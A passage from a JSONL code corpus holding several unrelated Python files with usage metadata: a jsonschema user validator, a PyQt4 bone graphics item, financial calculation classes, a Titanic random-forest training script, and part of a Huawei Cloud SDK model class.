"imutils.resize", "line_number": 542, "usage_type": "call"}, {"api_name": "cv2.dnn.blobFromImage", "line_number": 557, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 557, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 582, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 593, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 593, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 594, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.image.img_to_array", "line_number": 595, "usage_type": "call"}, {"api_name": "tensorflow.keras.applications.mobilenet_v2.preprocess_input", "line_number": 596, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 608, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 617, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 644, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 645, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 646, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 656, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 657, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 659, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGBA2BGR", "line_number": 659, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 665, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 665, "usage_type": "attribute"}]} +{"seq_id": "241792292", "text": "from jsonschema import validate\nfrom jsonschema.exceptions import ValidationError\nfrom jsonschema.exceptions import SchemaError\n\nuser_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"fname\": {\n \"type\": \"string\",\n },\n \"lname\": {\n \"type\": \"string\",\n },\n \"mphone\": {\n \"type\": \"string\",\n },\n \"phone\": {\n \"type\": \"string\",\n },\n \"email\": {\n \"type\": \"string\",\n \"format\": \"email\"\n },\n \"mcode\": {\n \"type\": \"string\",\n },\n \"pass\": {\n \"type\": \"string\",\n \"minlength\": 5,\n },\n \"state\": {\n \"type\": \"string\",\n },\n \"city\": {\n \"type\": \"string\",\n },\n \"address\": {\n \"type\": \"string\",\n }\n },\n \"required\": [\"email\", \"fname\", \"lname\", \"pass\", \"mcode\", \"mphone\"],\n \"additionalProperties\": False\n}\n\n\ndef validate_user(data):\n try:\n validate(data, user_schema)\n except ValidationError as e:\n return {'ok': False, 'message': e}\n except SchemaError as e:\n return {'ok': False, 'message': e}\n return True\n", "sub_path": "userschema.py", "file_name": "userschema.py", "file_ext": "py", "file_size_in_byte": 1196, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "jsonschema.validate", "line_number": 48, "usage_type": "call"}, {"api_name": "jsonschema.exceptions.ValidationError", "line_number": 49, "usage_type": "name"}, {"api_name": "jsonschema.exceptions.SchemaError", "line_number": 51, "usage_type": "name"}]} +{"seq_id": "503199840", "text": "from PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nimport data.bone\nimport math\n\nclass GraphicItemBone(QGraphicsItem):\n \"\"\"Bone graphic item\"\"\"\n\n def __init__(self, parent = None, scene = None):\n super(GraphicItemBone, self).__init__(parent, scene)\n\n self.__polygon = QPolygon([QPoint(-1, 0), QPoint(1, 0), QPoint(0, 3)])\n self.__axisLen = 5\n\n self.__isShowBoundingRect = False\n self.__isShowAxis = True\n\n self.setFlag(QGraphicsItem.ItemIsSelectable)\n\n self.__data = data.bone.Bone()\n \n def shape(self):\n path = QPainterPath()\n path.addPolygon(QPolygonF(self.__polygon))\n return path\n\n def boundingRect(self):\n region = QRegion()\n region += QRegion(QRect(QPoint(0, 0), QPoint(self.__axisLen, self.__axisLen)))\n region += QRegion(self.__polygon)\n\n parent = self.parentItem()\n if parent is not None:\n p1 = self.mapFromParent(self.pos())\n p2 = self.mapFromScene(parent.scenePos())\n region += QRegion(QRect(p1.x(), p1.y(), p2.x() - p1.x(), p2.y() - p1.y()).normalized().adjusted(-1, -1, 1, 1))\n\n return QRectF(region.boundingRect())\n\n def mousePressEvent(self, event):\n from animation_scene import AnimationGraphicsScene\n mode = self.scene().adjustMode\n\n if mode == AnimationGraphicsScene.Rotate:\n self.__rotateBaseAngle = self.rotation()\n\n def mouseMoveEvent(self, event):\n from animation_scene import AnimationGraphicsScene\n mode = self.scene().adjustMode\n\n if mode == AnimationGraphicsScene.Move:\n if self.isSelected():\n self.setPos(self.mapToParent(event.pos()))\n event.accept()\n elif mode == AnimationGraphicsScene.Rotate:\n if self.isSelected():\n v1 = QVector2D(event.buttonDownScenePos(Qt.LeftButton) - self.scenePos())\n v2 = QVector2D(event.scenePos() - self.scenePos())\n dot = QVector2D.dotProduct(v1, v2)\n cos = dot / (v1.length() * v2.length())\n angle = math.degrees(math.acos(cos))\n z = v1.x() * v2.y() - v1.y() * v2.x()\n angle = angle if z > 0 else -angle\n self.setRotation(self.__rotateBaseAngle + angle)\n event.accept()\n else:\n super(GraphicItemBone, self).mouseMoveEvent(event)\n \n def __str__(self):\n return \"Bone Item %d\" % (self.__data.id)\n\n def paint(self, painter, option, widget = None):\n # draw bone polygon\n painter.setPen(QPen(QColor(0, 255, 0)))\n painter.setBrush(QBrush(QColor(0, 128, 0, 128)))\n painter.drawPolygon(self.__polygon)\n\n parent = self.parentItem()\n\n if parent is not None:\n painter.setPen(QColor(0, 0, 255, 128))\n painter.drawLine(self.mapFromParent(self.pos()), self.mapFromScene(parent.scenePos()))\n\n # draw local coordinate\n if self.isSelected() and self.__isShowAxis:\n painter.setPen(QColor(0, 255, 0))\n painter.drawLine(0, 0, self.__axisLen, 0)\n painter.setPen(QColor(255, 0, 0))\n painter.drawLine(0, 0, 0, self.__axisLen)\n\n # draw bounding rect\n if self.__isShowBoundingRect:\n painter.setPen(QPen(QColor(0, 0, 0, 100)))\n painter.setBrush(QBrush(QColor(0, 0, 255, 100)))\n painter.drawRect(self.boundingRect())\n", "sub_path": "ui/bone.py", "file_name": "bone.py", "file_ext": "py", "file_size_in_byte": 3467, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "data.bone.bone.Bone", "line_number": 20, "usage_type": "call"}, {"api_name": "data.bone.bone", "line_number": 20, "usage_type": "attribute"}, {"api_name": "data.bone", "line_number": 20, "usage_type": "name"}, {"api_name": "animation_scene.AnimationGraphicsScene.Rotate", "line_number": 44, "usage_type": "attribute"}, {"api_name": "animation_scene.AnimationGraphicsScene", "line_number": 44, "usage_type": "name"}, {"api_name": "animation_scene.AnimationGraphicsScene.Move", "line_number": 51, "usage_type": "attribute"}, {"api_name": "animation_scene.AnimationGraphicsScene", "line_number": 51, "usage_type": "name"}, {"api_name": "animation_scene.AnimationGraphicsScene.Rotate", "line_number": 55, "usage_type": "attribute"}, {"api_name": "animation_scene.AnimationGraphicsScene", "line_number": 55, "usage_type": "name"}, {"api_name": "math.degrees", "line_number": 61, "usage_type": "call"}, {"api_name": "math.acos", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "272930549", "text": "\"\"\" Compiled: 2020-09-18 10:38:49 \"\"\"\n\n#__src_file__ = \"extensions/aa_integration/./etc/AAPLRatesArtiQCalculationClasses.py\"\n\"\"\"----------------------------------------------------------------------------\nMODULE\n AAPLRatesArtiQCalculationClasses - Performer class for performing PL Rates External\n calculation.\n\n (c) Copyright 2019 FIS Front Arena. All rights reserved.\n\nDESCRIPTION\n\n----------------------------------------------------------------------------\"\"\"\nimport AAPLRatesCalculationClasses\nimport importlib\nimportlib.reload(AAPLRatesCalculationClasses)\nimport AACalculationBase\nimportlib.reload(AACalculationBase)\n\nclass CommonArtiQCalculation(AAPLRatesCalculationClasses.CommonCalculation):\n def _getCatalogName(self):\n return self._cube_catalog[0]\n\n def _getCubeName(self):\n return self._cube_name[0]\n \nclass ArtiQPLRatesCalculation(\n CommonArtiQCalculation, AACalculationBase.ArtiQCalculationBase\n):\n def __init__(\n self, dictionary\n ):\n AACalculationBase.ArtiQCalculationBase.__init__(\n self, dictionary\n )\n CommonArtiQCalculation.__init__(\n self, dictionary\n )\n\nclass ArtiQStorePLRatesCalculation(\n CommonArtiQCalculation, AACalculationBase.ArtiQStoreCalculationBase\n):\n def __init__(\n self, dictionary\n ):\n AACalculationBase.ArtiQStoreCalculationBase.__init__(\n self, dictionary\n )\n CommonArtiQCalculation.__init__(\n self, dictionary\n )\n\n\nCLASSES = AAPLRatesCalculationClasses.Manager.getAllCalculationClasses(\n manager=AAPLRatesCalculationClasses.Manager, callee_module_attrs=globals()\n)\n", "sub_path": "Extensions/AA Integration/FPythonCode/AAPLRatesArtiQCalculationClasses.py", "file_name": "AAPLRatesArtiQCalculationClasses.py", "file_ext": "py", "file_size_in_byte": 1679, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "importlib.reload", "line_number": 16, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 18, "usage_type": "call"}, {"api_name": "AAPLRatesCalculationClasses.CommonCalculation", "line_number": 20, "usage_type": "attribute"}, {"api_name": "AACalculationBase.ArtiQCalculationBase", "line_number": 28, "usage_type": "attribute"}, {"api_name": "AACalculationBase.ArtiQCalculationBase.__init__", "line_number": 33, "usage_type": "call"}, {"api_name": "AACalculationBase.ArtiQCalculationBase", "line_number": 33, "usage_type": "attribute"}, {"api_name": "AACalculationBase.ArtiQStoreCalculationBase", "line_number": 41, "usage_type": "attribute"}, {"api_name": "AACalculationBase.ArtiQStoreCalculationBase.__init__", "line_number": 46, "usage_type": "call"}, {"api_name": "AACalculationBase.ArtiQStoreCalculationBase", "line_number": 46, "usage_type": "attribute"}, {"api_name": "AAPLRatesCalculationClasses.Manager.getAllCalculationClasses", "line_number": 54, "usage_type": "call"}, {"api_name": "AAPLRatesCalculationClasses.Manager", "line_number": 54, "usage_type": "attribute"}, {"api_name": "AAPLRatesCalculationClasses.Manager", "line_number": 55, "usage_type": "attribute"}]} +{"seq_id": "248383208", "text": "#Rob Hodde \r\n#Fall 2018 IS622 Homework 2\r\n#use RandomForestClassifier to train a model to predict survival in Titanic dataset\r\n#adapted from: https://github.com/cuny-sps-msda-data622-2017fall/homework-2-jelikish/blob/master/train_model.py\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\nimport statsmodels.imputation.mice as mice\r\nfrom sklearn.preprocessing import Imputer \r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import RandomizedSearchCV\r\nfrom sklearn.pipeline import Pipeline\r\nimport pickle\r\n\r\nmodel_file = 'model.pkl' #trained model \r\n\r\n\r\n#retrieve training and test files, cleanse, create 1-hot predictors, write to disk\r\ndef eda():\r\n\r\n files = ['train.csv','test.csv'] \r\n for file in files:\r\n \r\n #read csv file\r\n try:\r\n df = pd.read_csv(file)\r\n except:\r\n print(file + \" not found\")\r\n \r\n #remove columns unlikely to contain inferential value\r\n df = df.drop(['Cabin','PassengerId','Name','Ticket'], axis=1)\r\n \r\n #convert gender and port into numerics, \r\n #so we can do imputation on missing Age values \r\n df1 = df.copy(deep=True)\r\n df1['Sex'] = pd.factorize(df['Sex'])[0]\r\n df1['Embarked'] = pd.factorize(df['Embarked'])[0]\r\n \r\n # use MICE imputation to fix ages\r\n imp = mice.MICEData(df1)\r\n imp.update_all(100) #creates new data frame with imputed values\r\n df = df.drop(['Age'], axis=1) #drop the original age column\r\n df = pd.concat([df, imp.data['Age']], axis=1) #add the imputed column back in\r\n \r\n #tried binning but could not factorize these in ascending order \r\n #and did not like bin labels.\r\n #bin Age into Toddler, Child, Adolescent, Adult, Elderly\r\n #df = df.filter(['Age'], axis=1)\r\n #print(df)\r\n #age_bins = [0, 2, 7, 21, 60, 100] \r\n #out = pd.cut(df['Age'], bins=age_bins)\r\n #df = pd.concat((df, out), axis=1)\r\n #df.columns.values[1] = \"Age_Bin\"\r\n #df = df.drop(['Age'], axis=1)\r\n #df = pd.concat([df, df], axis=1)\r\n \r\n #create five categories for age, representing boundaries between social mores\r\n df.loc[df['Age'] < 3, 'Age_Bin'] = '1-Toddler'\r\n df.loc[(df['Age'] >= 3) & (df['Age'] < 13), 'Age_Bin'] = '2-Child'\r\n df.loc[(df['Age'] >= 13) & (df['Age'] < 20), 'Age_Bin'] = '3-Teen'\r\n df.loc[(df['Age'] >= 20) & (df['Age'] < 60), 'Age_Bin'] = '4-Adult'\r\n df.loc[df['Age'] >= 60, 'Age_Bin'] = '5-Senior'\r\n \r\n #distinguish between traveling alone, small families, and large families\r\n df['family_size'] = df['SibSp'] + df['Parch']\r\n df.loc[df['family_size'] == 0, 'Family'] = '2-None'\r\n df.loc[(df['family_size'] > 0) & (df['family_size'] < 4), 'Family'] = '1-Small'\r\n df.loc[df['family_size'] >= 4, 'Family'] = '3-Large'\r\n \r\n #create 1-hot variables for each category value (level), then drop the original columns\r\n df = pd.concat([df,pd.get_dummies(df['Age_Bin'], prefix='Age_Bin')],axis=1)\r\n df = pd.concat([df,pd.get_dummies(df['Sex'], prefix='Gender')],axis=1)\r\n df = pd.concat([df,pd.get_dummies(df['Embarked'], prefix='Embarked')],axis=1)\r\n df = pd.concat([df,pd.get_dummies(df['Family'], prefix='Family')],axis=1)\r\n df.drop(['Age_Bin','Sex','Embarked','Family'],axis=1, inplace=True)\r\n \r\n try:\r\n df.to_csv('mod_'+ file, encoding='utf-8') #save results to disk\r\n print('Successful writing file mod_' + file)\r\n except:\r\n print(\"Could not write file mod_\" + file)\r\n \r\n return()\r\n\r\n\r\n\r\n#Function takes in X = training dataset and y=target and returns pipeline object including a trained model using RandomForestClassifier\r\ndef ml(file):\r\n \r\n# #to tune the Random Forest learner parameters, use Random Hyperparameter Grid\r\n# takes several hours to run - don't repeat for production. just use the optimal parameter settings\r\n# #adapted from https://towardsdatascience.com/hyperparameter-tuning-the-random-forest-in-python-using-scikit-learn-28d2aa77dd74\r\n# n_estimators = [int(x) for x in np.linspace(start = 50, stop = 2000, num = 10)] # Number of trees in random forest\r\n# max_features = ['auto', 'sqrt'] # Number of features to consider at every split\r\n# max_depth = [int(x) for x in np.linspace(10, 110, num = 11)] # Maximum number of levels in tree\r\n# max_depth.append(None)\r\n# min_samples_split = [2, 4, 6] # Minimum number of samples required to split a node\r\n# min_samples_leaf = [2, 4, 6] # Minimum number of samples required at each leaf node\r\n# bootstrap = [True, False] # Method of selecting samples for training each tree\r\n# # Create the random grid\r\n# random_grid = {'n_estimators': n_estimators,\r\n# 'max_features': max_features,\r\n# 'max_depth': max_depth,\r\n# 'min_samples_split': min_samples_split,\r\n# 'min_samples_leaf': min_samples_leaf,\r\n# 'bootstrap': bootstrap}\r\n# # Use the random grid to search for best hyperparameters\r\n# # First create the base model to tune\r\n# rf = RandomForestRegressor()\r\n# # Random search of parameters, using 3 fold cross validation, \r\n# # search across 100 different combinations, and use all available cores\r\n# rf_random = RandomizedSearchCV(estimator = rf, param_distributions = random_grid, n_iter = 100, cv = 3, verbose=2, random_state=42, n_jobs = -1)\r\n# # Fit the random search model\r\n# rf_random.fit(X, y)\r\n# rf_random.best_params_\r\n\r\n #read csv file\r\n try:\r\n df = pd.read_csv(file)\r\n except:\r\n print(file + \" not found\")\r\n \r\n y = df['Survived'] # predictors\r\n X = df.drop('Survived', axis=1) # outcome\r\n\r\n # instantiate an imputer object and randomforestclassifier\r\n #min_samples_split = min number of data points placed in a node before the node is split\r\n #min_samples_leaf = min number of data points allowed in a leaf node\r\n imp1 = Imputer(missing_values='NaN', strategy='mean', axis=0) #here I am not imputing Age (already did above), because this method uses Mean.\r\n f1 = RandomForestClassifier(max_depth=10, min_samples_split=3, min_samples_leaf=2, n_estimators=100, random_state=1)\r\n\r\n # list steps for pipline\r\n steps = [('imputation', imp1), ('random_forest', f1)]\r\n\r\n # instatiate pipeline\r\n pipeline = Pipeline(steps)\r\n\r\n # Split the data\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\r\n\r\n #save predictors and outcome to text files\r\n try:\r\n X_test.to_csv('X_test.csv')\r\n y_test.to_csv('y_test.csv')\r\n X_train.to_csv('X_train.csv')\r\n y_train.to_csv('y_train.csv') \r\n print('Sucessful saving test and training sets to disk.')\r\n except:\r\n print(\"Could not save test set.\")\r\n\r\n # fit the model\r\n try:\r\n model = pipeline.fit(X_train, y_train)\r\n print('Successful fitting model.')\r\n except:\r\n print(\"Could not fit model.\")\r\n\r\n return(model)\r\n\r\n\r\n#Function takes trained model and file name as arguments and saves the trained model to the specified file.\r\ndef model_write(model, model_file):\r\n try:\r\n p = open(model_file, 'wb')\r\n pickle.dump(model, p)\r\n print('Successful writing model to disk.')\r\n except:\r\n print(\"Could not save model to a file.\")\r\n p.close()\r\n\r\n\r\ndef main():\r\n eda()\r\n model = ml('mod_train.csv')\r\n model_write(model, model_file)\r\n\r\n\r\nif __name__ =='__main__':\r\n main()", "sub_path": "train_model.py", "file_name": "train_model.py", "file_ext": "py", "file_size_in_byte": 7745, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.factorize", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.factorize", "line_number": 39, "usage_type": "call"}, {"api_name": "statsmodels.imputation.mice.MICEData", "line_number": 42, "usage_type": "call"}, {"api_name": "statsmodels.imputation.mice", "line_number": 42, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 121, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 131, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 132, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 138, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 141, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 167, "usage_type": "call"}]} +{"seq_id": "526395874", "text": "# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass FreeResourceDetail:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'free_resource_id': 'str',\n 'free_resource_type_name': 'str',\n 'quota_reuse_cycle': 'int',\n 'quota_reuse_cycle_type': 'int',\n 'usage_type_name': 'str',\n 'start_time': 'str',\n 'end_time': 'str',\n 'amount': 'decimal.Decimal',\n 'original_amount': 'decimal.Decimal',\n 'measure_id': 'int'\n }\n\n attribute_map = {\n 'free_resource_id': 'free_resource_id',\n 'free_resource_type_name': 'free_resource_type_name',\n 'quota_reuse_cycle': 'quota_reuse_cycle',\n 'quota_reuse_cycle_type': 'quota_reuse_cycle_type',\n 'usage_type_name': 'usage_type_name',\n 'start_time': 'start_time',\n 'end_time': 'end_time',\n 'amount': 'amount',\n 'original_amount': 'original_amount',\n 'measure_id': 'measure_id'\n }\n\n def __init__(self, free_resource_id=None, free_resource_type_name=None, quota_reuse_cycle=None, quota_reuse_cycle_type=None, usage_type_name=None, start_time=None, end_time=None, amount=None, original_amount=None, measure_id=None):\n \"\"\"FreeResourceDetail\n\n The model defined in huaweicloud sdk\n\n :param free_resource_id: 资源项ID，一个资源包中会含有多个资源项，一个使用量类型对应一个资源项。\n :type free_resource_id: str\n :param free_resource_type_name: 资源项类型名称。\n :type free_resource_type_name: str\n :param quota_reuse_cycle: 重置周期，只有quota_reuse_mode为可重置，该字段才有意义。 1：小时2：天3：周4：月5：年\n :type quota_reuse_cycle: int\n :param quota_reuse_cycle_type: 重置周期类别，只有quota_reuse_mode为可重置，该字段才有意义。 1：按自然周期重置是指重置周期是按照自然月/年来重置，例如如果周期是月，按自然周期重置，表示每个月的1号重置。 2：按订购周期重置。是指重置周期是按照订购时间来重置，例如如果周期是月，按订购周期重置，15号订购了该套餐，表示每个月的15号重置。\n :type quota_reuse_cycle_type: int\n :param usage_type_name: 使用量类型名称。\n :type usage_type_name: str\n :param start_time: 开始时间，格式UTC。 如果quota_reuse_mode为可重置，则此时间为当前时间所在的重置周期的开始时间。如果quota_reuse_mode为不可重置，则此时间为订购实例的生效时间。\n :type start_time: str\n :param end_time: 结束时间，格式UTC。 如果quota_reuse_mode为可重置，则此时间为当前时间所在的重置周期的结束时间。如果quota_reuse_mode为不可重置，则此时间为订购实例的失效时间。\n :type end_time: str\n :param amount: 资源剩余额度，针对可重置资源包，是指当前重置周期内的剩余量。\n :type amount: :class:`huaweicloudsdkbss.v2.decimal.Decimal`\n :param original_amount: 资源原始额度，针对可重置资源包，是指每个重置周期内的总量。\n :type original_amount: :class:`huaweicloudsdkbss.v2.decimal.Decimal`\n :param measure_id: 度量单位，免费资源套餐额度度量单位。您可以调用查询度量单位列表接口获取。\n :type measure_id: int\n \"\"\"\n \n \n\n self._free_resource_id = None\n self._free_resource_type_name = None\n self._quota_reuse_cycle = None\n self._quota_reuse_cycle_type = None\n self._usage_type_name = None\n self._start_time = None\n self._end_time = None\n self._amount = None\n self._original_amount = None\n self._measure_id = None\n self.discriminator = None\n\n if free_resource_id is not None:\n self.free_resource_id = free_resource_id\n if free_resource_type_name is not None:\n self.free_resource_type_name = free_resource_type_name\n if quota_reuse_cycle is not None:\n self.quota_reuse_cycle = quota_reuse_cycle\n if quota_reuse_cycle_type is not None:\n self.quota_reuse_cycle_type = quota_reuse_cycle_type\n if usage_type_name is not None:\n self.usage_type_name = usage_type_name\n if start_time is not None:\n self.start_time = start_time\n if end_time is not None:\n self.end_time = end_time\n if amount is not None:\n self.amount = amount\n if original_amount is not None:\n self.original_amount = original_amount\n if measure_id is not None:\n self.measure_id = measure_id\n\n @property\n def free_resource_id(self):\n \"\"\"Gets the free_resource_id of this FreeResourceDetail.\n\n 资源项ID，一个资源包中会含有多个资源项，一个使用量类型对应一个资源项。\n\n :return: The free_resource_id of this FreeResourceDetail.\n :rtype: str\n \"\"\"\n return self._free_resource_id\n\n @free_resource_id.setter\n def free_resource_id(self, free_resource_id):\n \"\"\"Sets the free_resource_id of this FreeResourceDetail.\n\n 资源项ID，一个资源包中会含有多个资源项，一个使用量类型对应一个资源项。\n\n :param free_resource_id: The free_resource_id of this FreeResourceDetail.\n :type free_resource_id: str\n \"\"\"\n self._free_resource_id = free_resource_id\n\n @property\n def free_resource_type_name(self):\n \"\"\"Gets the free_resource_type_name of this FreeResourceDetail.\n\n 资源项类型名称。\n\n :return: The free_resource_type_name of this FreeResourceDetail.\n :rtype: str\n \"\"\"\n return self._free_resource_type_name\n\n @free_resource_type_name.setter\n def free_resource_type_name(self, free_resource_type_name):\n \"\"\"Sets the free_resource_type_name of this FreeResourceDetail.\n\n 资源项类型名称。\n\n :param free_resource_type_name: The free_resource_type_name of this FreeResourceDetail.\n :type free_resource_type_name: str\n \"\"\"\n self._free_resource_type_name = free_resource_type_name\n\n @property\n def quota_reuse_cycle(self):\n \"\"\"Gets the quota_reuse_cycle of this FreeResourceDetail.\n\n 重置周期，只有quota_reuse_mode为可重置，该字段才有意义。 1：小时2：天3：周4：月5：年\n\n :return: The quota_reuse_cycle of this FreeResourceDetail.\n :rtype: int\n \"\"\"\n return self._quota_reuse_cycle\n\n @quota_reuse_cycle.setter\n def quota_reuse_cycle(self, quota_reuse_cycle):\n \"\"\"Sets the quota_reuse_cycle of this FreeResourceDetail.\n\n 重置周期，只有quota_reuse_mode为可重置，该字段才有意义。 1：小时2：天3：周4：月5：年\n\n :param quota_reuse_cycle: The quota_reuse_cycle of this FreeResourceDetail.\n :type quota_reuse_cycle: int\n \"\"\"\n self._quota_reuse_cycle = quota_reuse_cycle\n\n @property\n def quota_reuse_cycle_type(self):\n \"\"\"Gets the quota_reuse_cycle_type of this FreeResourceDetail.\n\n 重置周期类别，只有quota_reuse_mode为可重置，该字段才有意义。 1：按自然周期重置是指重置周期是按照自然月/年来重置，例如如果周期是月，按自然周期重置，表示每个月的1号重置。 2：按订购周期重置。是指重置周期是按照订购时间来重置，例如如果周期是月，按订购周期重置，15号订购了该套餐，表示每个月的15号重置。\n\n :return: The quota_reuse_cycle_type of this FreeResourceDetail.\n :rtype: int\n \"\"\"\n return self._quota_reuse_cycle_type\n\n @quota_reuse_cycle_type.setter\n def quota_reuse_cycle_type(self, quota_reuse_cycle_type):\n \"\"\"Sets the quota_reuse_cycle_type of this FreeResourceDetail.\n\n 重置周期类别，只有quota_reuse_mode为可重置，该字段才有意义。 1：按自然周期重置是指重置周期是按照自然月/年来重置，例如如果周期是月，按自然周期重置，表示每个月的1号重置。 2：按订购周期重置。是指重置周期是按照订购时间来重置，例如如果周期是月，按订购周期重置，15号订购了该套餐，表示每个月的15号重置。\n\n :param quota_reuse_cycle_type: The quota_reuse_cycle_type of this FreeResourceDetail.\n :type quota_reuse_cycle_type: int\n \"\"\"\n self._quota_reuse_cycle_type = quota_reuse_cycle_type\n\n @property\n def usage_type_name(self):\n \"\"\"Gets the usage_type_name of this FreeResourceDetail.\n\n 使用量类型名称。\n\n :return: The usage_type_name of this FreeResourceDetail.\n :rtype: str\n \"\"\"\n return self._usage_type_name\n\n @usage_type_name.setter\n def usage_type_name(self, usage_type_name):\n \"\"\"Sets the usage_type_name of this FreeResourceDetail.\n\n 使用量类型名称。\n\n :param usage_type_name: The usage_type_name of this FreeResourceDetail.\n :type usage_type_name: str\n \"\"\"\n self._usage_type_name = usage_type_name\n\n @property\n def start_time(self):\n \"\"\"Gets the start_time of this FreeResourceDetail.\n\n 开始时间，格式UTC。 如果quota_reuse_mode为可重置，则此时间为当前时间所在的重置周期的开始时间。如果quota_reuse_mode为不可重置，则此时间为订购实例的生效时间。\n\n :return: The start_time of this FreeResourceDetail.\n :rtype: str\n \"\"\"\n return self._start_time\n\n @start_time.setter\n def start_time(self, start_time):\n \"\"\"Sets the start_time of this FreeResourceDetail.\n\n 开始时间，格式UTC。 如果quota_reuse_mode为可重置，则此时间为当前时间所在的重置周期的开始时间。如果quota_reuse_mode为不可重置，则此时间为订购实例的生效时间。\n\n :param start_time: The start_time of this FreeResourceDetail.\n :type start_time: str\n \"\"\"\n self._start_time = start_time\n\n @property\n def end_time(self):\n \"\"\"Gets the end_time of this FreeResourceDetail.\n\n 结束时间，格式UTC。 如果quota_reuse_mode为可重置，则此时间为当前时间所在的重置周期的结束时间。如果quota_reuse_mode为不可重置，则此时间为订购实例的失效时间。\n\n :return: The end_time of this FreeResourceDetail.\n :rtype: str\n \"\"\"\n return self._end_time\n\n @end_time.setter\n def end_time(self, end_time):\n \"\"\"Sets the end_time of this FreeResourceDetail.\n\n 结束时间，格式UTC。 如果quota_reuse_mode为可重置，则此时间为当前时间所在的重置周期的结束时间。如果quota_reuse_mode为不可重置，则此时间为订购实例的失效时间。\n\n :param end_time: The end_time of this FreeResourceDetail.\n :type end_time: str\n \"\"\"\n self._end_time = end_time\n\n @property\n def amount(self):\n \"\"\"Gets the amount of this FreeResourceDetail.\n\n 资源剩余额度，针对可重置资源包，是指当前重置周期内的剩余量。\n\n :return: The amount of this FreeResourceDetail.\n :rtype: :class:`huaweicloudsdkbss.v2.decimal.Decimal`\n \"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, amount):\n \"\"\"Sets the amount of this FreeResourceDetail.\n\n 资源剩余额度，针对可重置资源包，是指当前重置周期内的剩余量。\n\n :param amount: The amount of this FreeResourceDetail.\n :type amount: :class:`huaweicloudsdkbss.v2.decimal.Decimal`\n \"\"\"\n self._amount = amount\n\n @property\n def original_amount(self):\n \"\"\"Gets the original_amount of this FreeResourceDetail.\n\n 资源原始额度，针对可重置资源包，是指每个重置周期内的总量。\n\n :return: The original_amount of this FreeResourceDetail.\n :rtype: :class:`huaweicloudsdkbss.v2.decimal.Decimal`\n \"\"\"\n return self._original_amount\n\n @original_amount.setter\n def original_amount(self, original_amount):\n \"\"\"Sets the original_amount of this FreeResourceDetail.\n\n 资源原始额度，针对可重置资源包，是指每个重置周期内的总量。\n\n :param original_amount: The original_amount of this FreeResourceDetail.\n :type original_amount: :class:`huaweicloudsdkbss.v2.decimal.Decimal`\n \"\"\"\n self._original_amount = original_amount\n\n @property\n def measure_id(self):\n \"\"\"Gets the measure_id of this FreeResourceDetail.\n\n 度量单位，免费资源套餐额度度量单位。您可以调用查询度量单位列表接口获取。\n\n :return: The measure_id of this FreeResourceDetail.\n :rtype: int\n \"\"\"\n return self._measure_id\n\n @measure_id.setter\n def measure_id(self, measure_id):\n \"\"\"Sets the measure_id of this FreeResourceDetail.\n\n 度量单位，免费资源套餐额度度量单位。您可以调用查询度量单位列表接口获取。\n\n :param measure_id: The measure_id of this FreeResourceDetail.\n :type measure_id: int\n \"\"\"\n self._measure_id = measure_id\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, 